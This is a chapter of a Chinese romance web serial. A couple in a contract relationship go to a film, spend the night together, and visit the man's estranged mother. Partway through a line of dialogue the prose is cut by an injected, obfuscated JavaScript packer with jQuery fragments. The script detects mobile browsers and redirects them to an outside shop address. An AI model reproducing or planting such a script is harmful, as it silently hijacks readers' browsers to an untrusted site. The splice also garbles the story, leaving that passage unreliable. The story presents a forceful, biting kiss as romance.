周六的夜晚,商场里依旧人流如织。
叶靡有在网上刷到这部电影正在热映当中,朋友圈里不少晒票根的,她之前就想来,还想着要不要约张迦一起来看,结果今晚计划有变,变成她跟顾砚尘来看电影。
候影区人很多,距离电影开场还有一段时间,她和顾砚尘找了一个空位置坐下等。
叶靡问:“你上一次来电影院看电影是什么时候?”
“有一点久远了,大概是七八岁的时候。”
“七八岁?怎么会…”叶靡显然很意外这个回答。
但顾砚尘却笑,“你也不敢相信是吗,但这是真的,我的生活一直都是被课业填充满的,属于自己的时间少之又少,娱乐这种事,对于我祖父来说,是不务正业,绝不被他允许。”
叶靡由衷的心疼他,“你好惨啊。”
顾砚尘隔着圆桌身体向她靠近,抬手捏住她的下巴,盯着她的眼睛说:“不许用这种眼神看我。”
叶靡不解,“哪种眼神?”
“看一只可怜小狗的眼神。”
可怜小狗?
有吗?
她是这种眼神吗?
这个话顾砚尘不止一次说过了,叶靡不禁反思,她眼中流露的情绪有这么明显吗?好吧,可怜他,心疼他的情绪是有,但被他解读成看可怜小狗,这就有点离谱了。
“你搞错了,不是可怜小狗。”
顾砚尘:“?”
“是可怜大狗。”
叶靡说完自己笑起来,顺带着拂开他的手掌。
顾砚尘弯了下嘴角,随着她怎么开心怎么说。
“不过你还好啦,悄悄告诉你。”叶靡靠近一些,用手挡住脸,贴在他耳边小声说:“今天是我第一次来电影院看电影哦。”
顾砚尘也很意外,“第一次?”
“对啊,之前跟你说过的的话又不是骗你的,我忙着到处打工,哪有时间跟心情来看电影。”
叶靡其实很乐观了,就算是曾经生活的十分艰难时也没有自艾自怜过,也或许是因为压根就没有时间停下来擦眼泪。现在生活变好,过往的事情更像是一笔勾销了似的,她几乎没有再在曾经回忆中感到伤痛过。
这是她身上很难得的品质。
可是虽然叶靡用这种玩笑似的态度在说,但听的人却无法一笑而过。
明明最开始时,他和她只有最冰冷的交易以及无情的利用。
究竟是从哪一刻开始,听到叶靡说这些,他会共情,会心疼,甚至在想,若他能拥有一种超能力,去到她人生中最艰难的那段时光,早早的在她身边,给她需要的一切,不要让苦难伤害她一点。
然而往事不可追溯,过去无法改变,他能做的,是从现在到以后…
“以后若有空,你想看什么电影,我都可以陪你来看。”
他的话听上去不是那么郑重其事,但也绝非轻飘飘的随口一说,可无法否认的是,这句话还是在叶靡心里掀起不小的涟漪。
她不清楚顾砚尘是以怎样的心情和想法说出的这句话。
也许善良的他只是共情了她的经历,难得在最感性时由心而发,是否值得当真,叶靡不敢说。
她…从不敢相信承诺。
但这种好意,叶靡是接受的。
她笑着说:“好啊,等我新工作落成,我请你看,就当庆祝。”
“新工作?你要从现在的工作室辞职?”
叶靡点头。
从小到大她一直都是自己的事自己做主,就连她妈那里,她也没多说过一句,但面对顾砚尘,她竟然愿意多说一些。
“现在的工作虽然做着很舒心,但工作室人员稳定,我几乎没有上升空间,如果说,我想求稳,那这样下去也没什么不好,但或许因为人都有欲望吧,我想好上加好,你觉得呢?我是不是太不知足?”
“追求上进是好事,你又没有贪得无厌,怎么算不知足。”顾砚尘笑着说
叶靡笑了。
“新工作已经有方向了?”
“嗯,这次应聘的职位是设计师,简历已经投出去了,还在等待回复,希望有好结果吧。”
顾砚尘看了一眼表上的时间,距离开场还有半个多小时,他环顾四周后起身,对叶靡说:“等我一下,去去就来。”
叶靡没来得及去问他做什么,他已经起身走了。
等的有些无聊,叶靡就刷了会手机,过一会儿,感觉身边好像有人过来,她以为是顾砚尘,就笑着说:“你回来…”话还没说完,抬头一看,来的人根本不是顾砚尘,而是一个戴着眼镜,身材高瘦的男青年,他拿着手机,有点腼腆的开口,“你好,能,能加一个微信吗?”
可能是太紧张了,他说话都有点结巴,自己说完脸不禁一红。
虽然不是人生中第一次被搭讪,但叶靡还是有点意外,以至于愣神好一会儿。
等回过神后正要开口,有一道声音抢了先,“她不加陌生人微信,你有事可以加我的。”
青年一愣,回身看去,叶靡也跟着探头看过去,是顾砚尘回来了,手里拿着冰可乐和爆米花,她抿住唇,脸一红,像是心虚似的。
“你,你们…”
青年回头看叶靡,想寻求一个答案。
顾砚尘已经坐在叶靡对面,他故意不开口,示意叶靡自己处理。
叶靡在心里叹口气,脸上露出礼貌的微笑,对青年说:“不好意思,不太方便加微信。”
“好,好,不好意思,我不知道你有男朋友。”
匆匆解释一句,青年尴尬的转身就走。
见叶靡还盯着那青年的背影看,顾砚尘冷声问:“怎么?没加微信觉得可惜?要不我帮你叫回来?”
“可惜?没有啊,我没这么想。”
“那你一直盯着他看。”
这语气……
“怎么,你吃醋啊?”叶靡故意说
谁知顾砚尘竟然不反驳,还说:“是,吃醋,很吃醋。”
这下换叶靡不知所措了。
她心想,这男人占有欲这么强的吗?
他们之间的关系,也不过是炮.友而已,他以什么身份吃醋的。
顾砚尘问:“你怎么不说话了?”
叶靡心说,你这话让我没法接啊,她就笑呵呵的说:“说什么?哎呀,我有点口渴,这是你买给我的吗?谢谢啊。”
顺手拿起可乐,猛吸一口,叶靡对着顾砚尘笑的眉眼弯弯。
顾砚尘还要说什么,刚张开嘴,电影就开场了,那边都在检票,叶靡忙起身说:“走吧,我们也过去排队。”
就这么逃过了一劫。
他们看的是动漫电影,今年电影界的良心巨制,口碑很好,整个放映厅里座无虚席。
整场电影两人几乎没什么交流,看的都很专注。
顾砚尘这种平时生活枯燥乏味,参加各种商务局,面对资料文件的人,难得还有这种找一找童心的机会。
一场电影看完,所有人都有种回味无穷之感。
回去的路上,叶靡难得话多了起来,甚至兴奋的说:“等第二部上映的时候,我们也一起来看好不好?”
顾砚尘回头看她,那眼神意味悠长,叶靡不解,问:“怎么了?这么看着我?”
“这部电影制作耗时五年。”
叶靡之前也听同事们讨论过这件事,渺渺的也听过一些电影制作时长的有关信息,但她刚刚因为太兴奋了,所以才一时脑热脱口而出,现在想想,她这个话像在暗示什么似的。
而顾砚尘的回答,显然话里有话。
五年啊……
明年的这个时候,她跟顾砚尘就已经分道扬镳了。
哪里还存在下一次…
可是想到没有下一次,她的心里,还有一种无法言表的难过。
时间过得真的好快,不知不觉,合约期限已经过半。
叶靡回以顾砚尘一个笑容,“我一时忘了,不好意思啊,不过也没什么,万一五年后,你未婚我未嫁,方便的时候,作为朋友,我们也能一起看场电影啊。”
车里光线忽明忽暗,在光影更替中,叶靡脸上的表情被模糊成一片,顾砚尘很想努力看清楚,看看她在说这句话时,究竟有没有一丝难过跟遗憾。
但很可惜,他什么都看不清。
顾砚尘目光垂下去,半晌,转头看向窗外。
他没有给叶靡一个回应,车里的气氛瞬间降到冰点。
叶靡神情也变得落寞起来,她像是被一场疾风骤雨淋湿的小鸟,同样的彷徨无措。
她猜不透顾砚尘的心思,也不知道他是否因为她的一句话而不开心。
到家之后是九点多钟,两人先后换完鞋子进去。
叶靡实在不喜欢这种相对无言的氛围,她总是这样不吐不快,跟在顾砚尘身后解释,“你是不是不开心了?”
顾砚尘脚步一停,回头看她,但是没说话。
叶靡就自顾自的说:“我说五年,真的就是脱口而出,没有任何其他的想法,你…千万,千万别…唔…”
余下的话没能说完,嘴唇已经被顾砚尘封了个严实。
他的吻鲜少有温柔的时候,总带着一种要将她吞吃入腹的力量。
叶靡用力拍打他,推开他的胸膛,气喘连连的说:“我话还没说完,你…唔…顾…”
叶靡倔强着想把话说完,用力拍打他的胸膛,推拒着他,可她那点力气哪里是顾砚尘的对手,被他手掌禁锢着完全动不得,惹急了,顾砚尘在她唇上不轻不重的咬了一口,叶靡痛的发出一声闷哼,眼泪也顺着眼角流下来。
尝到她的眼泪,男人终于肯温柔一些,细致的吻她的唇,脸颊,贴着她耳边轻语,“你这张嘴,不适合聊天,做点该做的。”
叶靡泪莹莹的,带着鼻音问他,“什么是我该做的?”
“和我接吻。”
说着再次吻下来,叶靡整个人被他抱起来,像一只考拉一样挂在他的身上。
在这方面,叶靡没有其他的经验,所有的体验都是顾砚尘带给她的,没有对比,她也不清楚这种体验算不算最上乘的,但若由心而发,她知道这感觉很棒,是她喜欢的。
尤其当她大汗淋漓,趴在床上,从头顶到脚心都没有一丝力气时,尽管疲惫,却有种难以言表的通透感,到这种时刻,她会在心里默默给顾砚尘打满分。
这样的体验,除了顾砚尘,不会再有人带给她了。
但为什么不会再有人带给她呢?她为什么会产生这样的想法?
世间的男人又不只有他一个,他们早晚会回归到自己的世界去。
按照她的预期,她将来会嫁给一个普通的可以被她驾驭的男人,平平淡淡过完这一生。
什么爱情激情都不重要,反正都会在漫长的岁月里消磨殆尽。
婚姻对她来讲只是寻找一个漫长人生路的同行人而已,有着相同的信念和方向,同舟共济罢了。
上.床这种事,又不是只有顾砚尘可以,为什么她会觉得顾砚尘带给她的体验是独一无二的呢?
叶靡脸颊埋在布满香气的枕头上,脑海里思绪一团混乱,在她还没能理清的时候,一双手将她的身体捞过去,她吓了一跳,忙环抱住自己,拒绝的态度明显,“不可以了,我,我累了。”
顾砚尘被她防备的姿势逗笑,“是你累,还是我比较累?”
她抿着唇瓣不说话,顾砚尘故意贴近蹭着她的鼻尖,小声说:“我手指现在还酸。”
以防他再口出狂言,叶靡抬手捂住他的嘴,脸颊红红,不具有任何威慑力的威胁着说:“你再乱说,我生气了。”
顾砚尘抱着她去洗了澡,帮她做完清洁后,又将她抱回床上去。
折腾这么久,一看时间已经是十一点钟。
好在第二天是周天,少了许多罪恶感。
习惯真的是一个可怕的东西,不知不觉,她已经习惯顾砚尘睡在床的另一侧,在她沉睡时会下意识的滚到他的怀里,被他温暖而具有力量的怀抱包裹着入睡时会更踏实,更有安全感。
夜已经深了。
疲惫感越来越重,叶靡在他怀里慢慢闭上眼睛,半梦半醒间,听到顾砚尘在她背后低声说:“明天如果没有其他安排,陪我去看我妈吧。”
她迷迷糊糊回应,“好。”
第二天起床,叶靡洗漱后出门,看见顾砚尘在厨房做早餐。
“早啊。”
“早。洗漱好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720271|186309||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了?”
“嗯。”
“过来吃早餐。”
叶靡过去坐好,接过他递来的牛奶跟三明治,然后问:“昨晚,你是不是跟我说今天要去看伯母?”
“嗯。”
“怎么…突然想去了?”
“不是你劝我的吗?”
叶靡张了张嘴,“你这么给面子的吗?”
顾砚尘笑,“嗯,你面子大。”
叶靡“切”了声,知道他在打趣她,就说:“别以为我不知道,其实你心里早就想去了,不过是想找个台阶下而已,这个台阶刚好是我给你的。”
被戳穿,男人也不恼,反而笑着抬眼看她,“这么聪明?奖励你多吃一个煎蛋。”
……
宋如铮这些年因为生病的缘故,变得不爱社交,大多数的时间都习惯一人独处,安静的氛围,能让她更好的清理那些负面的情绪,习惯延续至今,即便现在几乎已经痊愈,但她已经适应了这种生活方式,平时就连晚漪也不太敢打扰她。
但今天不同,宋女士难得一早就在厨房张罗起来,连佣人都只有在旁边打下手的份。
是昨天夜里,晚漪收到哥哥的消息,知道他今天准备回来看妈妈,她迫不及待就把这个好消息告诉给妈妈,换来母亲脸上难得一见的明媚笑容。
以前她不知道自己母亲生病,只是心里有种直觉,母亲脸上总是带着一种倦色,好像永远都睡不醒似的,直到最近,她知道母亲曾经生过那么严重的病,即便妈妈一再跟她说,病已经好了,没有再发作过,但她始终觉得母亲脸上带着一种病气。
现在她才了悟,那是心病啊。
哥哥才是治这心病的良药。
看着妈妈开心,晚漪也由衷感到高兴,继而又想到叶靡,她应该找机会好好感谢一下叶靡的。
能让哥哥踏出这一步,叶靡一定是个大功臣。
到十一点钟,顾砚尘和叶靡到达别墅。
听到外面车子的引擎声,宋如铮就急忙拉住晚漪的手说:“你哥他们来了吧,陪妈一起去看看。”
母女俩刚走出去,就看见顾砚尘和叶靡一前一后走进院子。
虽然母子俩已把当年的误会解释清楚,但毕竟横亘在他们之间的是长达十几年的陌生岁月,现在顾砚尘愿意迈出这一步来看宋如铮,但这一声“妈”却很难叫出口。
叶靡体谅他,只好由她先开口,“伯母好。”
宋如铮笑的很开心,忙说:“哎,你好,快,你们快进来,我们进去坐下聊。”
进门都坐在沙发上,佣人将提前准备好的点心水果都拿上来,另煮一壶热茶。
晚漪说:“妈知道你们要来,今天天没亮就起来拟菜单,今天所有的菜,都是妈亲自下厨哦,哥,嫂子,也就你们有这么大面子。”
顾砚尘想说点什么,但目光和母亲一碰上,瞬间又不知道说什么才好,索性沉默。
他不说话,叶靡总不能不说,她知道今天自己陪他来,最大的作用就是调节气氛,这份职责她要尽到。
“那我今天可有口福了,伯母不知道,我平时闲着无聊,就爱研究食谱,改日有机会,也做几个拿手菜,让伯母尝尝。”
瞧瞧,她多聪明,不仅圆了这尴尬的场面,顺带着把母子俩下次见面的机会都留了出来
叶靡说完递给晚漪一个眼神,晚漪悄悄抱了个拳。
她们俩的小动作没逃过顾砚尘的眼睛,他脸上浮现一点笑意。
宋如铮见了,心情更加明朗,连带着对叶靡也更加爱怜起来。
“好啊,我很乐意的,其实我这几年在国外,厨艺有所退步,到时候你也教教我。”
她们就这么一来一回聊了颇多,最后还交换了微信,甚至都约好有时间要一起去逛街。
晚漪这时候说:“好啦好啦,你们再聊下去要成闺蜜了,我可要吃醋喽。”
宋如铮笑着拍拍女儿的手。
佣人过来说:“夫人,汤煲好了。”
“那我们开饭吧。”
可以看出,对于顾砚尘的到来,宋夫人是非常期待且用心的,桌上的菜几乎都是按照顾砚尘的口味做的,做了十二道菜,又都是她亲自准备,做母亲的这份心情,想必都体现在这一桌饭菜上面了。
相处这么久,以叶靡对顾砚尘的了解,知道他嘴硬心软,想必,他是很渴望这份温情的,只是不习惯于表达。
叶靡善解人意,也将今天自己来到此处的职责发挥到极致,品尝一道菜后,会给顾砚尘夹到碗中,“你快尝一下,是不是很好吃?”
顾砚尘夹到嘴边,咬了一口,在几人期待的目光中点点头,“好吃。”
就是这么简单的两个字,惹得宋如铮差点又落下泪来。
她其实心里很内疚的。
不管有什么样的理由,作为母亲,毕竟缺席了他人生中最需要母爱的那几年,让他独自一人面对那个冰冷的家族,和那个不堪的父亲。
小小的年纪,就要承受那么多。
每每想起这些,她都心如刀绞。
可她能做的,只有尽力去弥补,弥补什么呢,孩子已经长大,成家立业,物质上也从不匮乏,人生中最难的课题,他几乎都已完成的很好。
作为母亲,她还能做什么呢。
无非就是爱。
可这爱,若不是付诸行动中,又总显得单薄。
她能做的太少了。
正因为少,所以才会竭尽所能的去做她能做的一切,把爱都融入到这些菜里。
等待着,期待着,看他多吃一点,听他说一声“好吃”,这对宋如铮来说,是又一次的拯救。
吃过饭,他们也没急着离开。
叶靡陪着宋如铮聊天,提及她送的那幅画,宋如铮就邀请她去书房转转,她们上楼后,晚漪看着顾砚尘,“哥,你今天开心么?”
他是难得的,没有跟妹妹对呛,而是真诚的说一声,“开心。”
“那就不白费我嫂子的一番良苦用心。”
顾砚尘抬头望向楼上书房的方向,目光难得温柔。
晚漪不知什么时候凑过来,突然拿出手机点开顾砚尘的朋友圈,指着那道横线问:“哥,你是不是把我屏蔽了?”